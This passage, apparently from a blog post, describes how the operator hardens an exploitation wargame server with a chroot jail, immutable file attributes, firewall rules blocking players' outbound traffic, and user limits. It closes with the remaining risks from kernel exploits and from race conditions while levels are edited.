/var/sshjail
/var/sshjail/home
/var/sshjail/home/level0

But when the level0 player is logged in ls / will only list:

/home
/home/level0

This allows me to handcraft the filesystem used by the players and limit the attack surface.

> No access to potential dangerous stuff like /proc and setuid binaries:

Being able to setup the filesystem how I want, I can choose to not mount /proc or /dev. There is no reason why a user should have access to /proc/kallsyms and know where kernel symbols are. I pulled up a random root exploit on the ExploitDatabase and it relies on access to /proc.

It's a lot of work to copy all the files necessary for a Linux system into the chroot jail. I need to copy every binary, including the shell itself and ls, cd, ... . But not only that, all the libraries like libc have to be copied as well. But this allows me to carefully control to what binaries users have access too and exclude any setuid root binaries. setuid binaries are another way how a root exploit could be achieved - so better remove those.

> Use Linux file attributes prevent players modifying or deleting files, even though they are the owner of them:

The game relies on setuid binaries for levels. So for example you exploit the /matrix/level1/level1 binary that belongs to user level2, so when you exploit it, that you have the rights of level2. But when you login as level2 you should not be able to delete or modify that binary - that would destroy the game. You should also not be able to create files anywhere, even in your home folder. That's why I use Linux file attributes to control this.

Here as an example level1. The owner of the level1 binary is user level2 but the group is still level1, together with the setuid bit s the user level1 can execute the binary but it will run as level2. Additionally the immutable file attribute i is set so that even the owner level2 cannot modify it.

ls -l /matrix/level1
total 12
-r-sr-x--- 1 level2 level1 level1
$ lsattr ./matrix/level1
----i--------e-- ./matrix/level1/level1

Same goes for the files in the home folder of the user. They all belong to level1 but they are immutable. You may notice that the iwashere file has the write permission for the level1 owner and that the file attribute is append only a. This allows the user to add a line to the file with for example echo "samuirai was here" >> /home/level1/iwashere but the user cannot delete or overwrite it.

$ ls -l /home/level1/*
-rw-r----- 1 level1 level1 /home/level1/iwashere
-r--r----- 1 level1 level1 /home/level1/recap
-r--r----- 1 level1 level1 /home/level1/story
-r--r----- 1 level1 level1 /home/level1/welcome
$ lsattr /home/level1/*
-----a-------e-- /home/level1/iwashere
----i--------e-- /home/level1/recap
----i--------e-- /home/level1/story
----i--------e-- /home/level1/welcome

> iptable firewall rules to stop users from abusing the server:

I use fail2ban against ssh password bruteforcing. And I block all outgoing connections from the players, so that the server cannot be abused for DoS attacks.

Chain OUTPUT (policy ACCEPT)
target  prot  opt  source    destination
REJECT  all   --   anywhere  anywhere     owner UID match level0 reject-with icmp-port-unreachable
REJECT  all   --   anywhere  anywhere     owner UID match level1 reject-with icmp-port-unreachable

> Set user limits:

I mainly just copied the values from io.smashthestack.org, because I have no idea what good values are. For example the limit of 40 -u processes prevents fork bombs.

[email protected]:~$ ulimit -a
-t: cpu time (seconds)              unlimited
-f: file size (blocks)              unlimited
-d: data seg size (kbytes)          unlimited
-s: stack size (kbytes)             8192
-c: core file size (blocks)         0
-m: resident set size (kbytes)      100000
-u: processes                       40
-n: file descriptors                1024
-l: locked-in-memory size (kbytes)  64
-v: address space (kbytes)          2000000
-x: file locks                      unlimited
-i: pending signals                 7976
-q: bytes in POSIX msg queues       819200

> Remaining threats:

One issue will always be root exploits like the recent CVE-2015-3290. But I hope the restricted filesystem together with the virtualized vServer will protect me from the majority.

The other big issue are race conditions in setting up new levels or making changes to current levels. When I make changes to levels I cannot make these atomic. I have to remove the immutable attribute, modify a file and readd the attribute. There is a window of opportunity where an attacker could make a mess. But this can be avoided by blocking ssh access, killing all processes from players, do the changes and allow them back in.